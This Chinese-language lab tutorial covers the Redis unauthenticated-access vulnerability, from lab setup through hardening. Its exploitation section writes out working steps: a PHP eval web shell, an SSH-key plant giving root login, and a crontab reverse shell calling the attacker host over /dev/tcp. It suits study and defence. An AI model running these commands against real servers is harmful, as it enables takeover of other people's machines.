Redis未授权访问漏洞分析
字数 1105 2025-08-15 21:32:50
Redis未授权访问漏洞分析与防护指南
漏洞概述
Redis未授权访问漏洞是一种高危安全风险,当Redis服务配置不当,直接暴露在公网且未设置访问控制时,攻击者可以无需认证直接访问Redis服务,导致数据泄露、服务器被控制等严重后果。
漏洞成因
- 默认绑定配置:Redis默认绑定在
0.0.0.0:6379,监听所有网络接口 - 防火墙缺失:未配置不信任IP禁止访问策略
- 认证缺失:未设置密码认证(默认空密码)
- 权限过高:Redis服务以root身份运行
漏洞危害
- 敏感信息泄露:攻击者可读取Redis中存储的所有数据
- 数据破坏:使用
FLUSHALL命令删除所有数据 - 代码执行:
- 通过
EVAL执行Lua代码 - 利用数据备份功能写入后门文件
- 通过
- 服务器控制:
- 写入SSH公钥文件实现免密登录(Redis以root运行时)
- 通过crontab设置定时任务反弹shell
漏洞复现环境搭建
受害机(Ubuntu)配置
- 安装Redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
- 解决依赖问题:
# 解决"jemalloc/jemalloc.h: No such file or directory"错误
sudo apt-get install gcc
# 解决tcl版本问题
sudo apt-get install tcl
# 重新编译
make distclean && make
- 基本配置:
# 将redis-server和redis-cli复制到/usr/bin
cp src/redis-server /usr/bin/
cp src/redis-cli /usr/bin/
# 复制配置文件
cp redis.conf /etc/
# 启动Redis服务
redis-server /etc/redis.conf
- 确保配置文件中
bind 127.0.0.1被注释掉(默认配置)
漏洞利用方式
1. 利用Redis写入Web Shell
前提条件:
- 可通过redis-cli远程登录
- 知道Web绝对路径且有写权限
- Web服务器正在运行
攻击步骤:
# 连接到目标Redis
redis-cli -h 192.168.25.130
# 设置Web Shell路径
config set dir /var/www/html
# 设置数据库文件名
config set dbfilename shell.php
# 写入PHP代码
set test "<?php @eval($_POST['cmd']);?>"
# 保存
save
验证:访问http://192.168.25.130/shell.php执行命令
2. 利用SSH公钥获取root权限
前提条件:
- Redis以root身份运行
- 目标服务器已安装SSH服务
攻击步骤:
- 攻击机生成SSH密钥对:
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > test.txt
- 将公钥写入目标Redis:
cat test.txt | redis-cli -h 192.168.25.130 -x set crack
- 配置Redis备份路径为SSH密钥目录:
redis-cli -h 192.168.25.130
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
- SSH免密登录:
ssh -i ~/.ssh/id_rsa root@192.168.25.130
3. 利用Crontab反弹Shell
攻击步骤:
- 攻击机监听端口:
nc -lvnp 4444
- 设置Redis备份路径为crontab目录:
redis-cli -h 192.168.25.130
config set dir /var/spool/cron/
config set dbfilename root
set test "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.25.128/4444 0>&1\n\n"
save
- 等待连接建立(约1分钟)
防护方案
-
网络层防护:
- 修改
redis.conf文件,绑定指定IP:bind 127.0.0.1 - 配置防火墙规则,限制访问IP
- 修改
-
认证防护:
- 在
redis.conf中设置强密码:requirepass yourstrongpassword - 定期更换密码
- 在
-
权限控制:
- 创建专用Redis运行账户:
groupadd -r redis && useradd -r -g redis redis - 禁止Redis账户远程登录
- 创建专用Redis运行账户:
-
其他安全措施:
- 修改默认端口(非6379)
- 禁用危险命令:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" - 启用保护模式:
protected-mode yes - 定期更新Redis到最新版本
-
监控与审计:
- 监控Redis日志
- 设置命令执行审计
- 定期检查服务器异常连接
总结
Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。通过合理配置Redis服务、设置访问控制、降低运行权限等措施可有效防范此类风险。管理员应定期检查Redis配置,确保安全措施到位。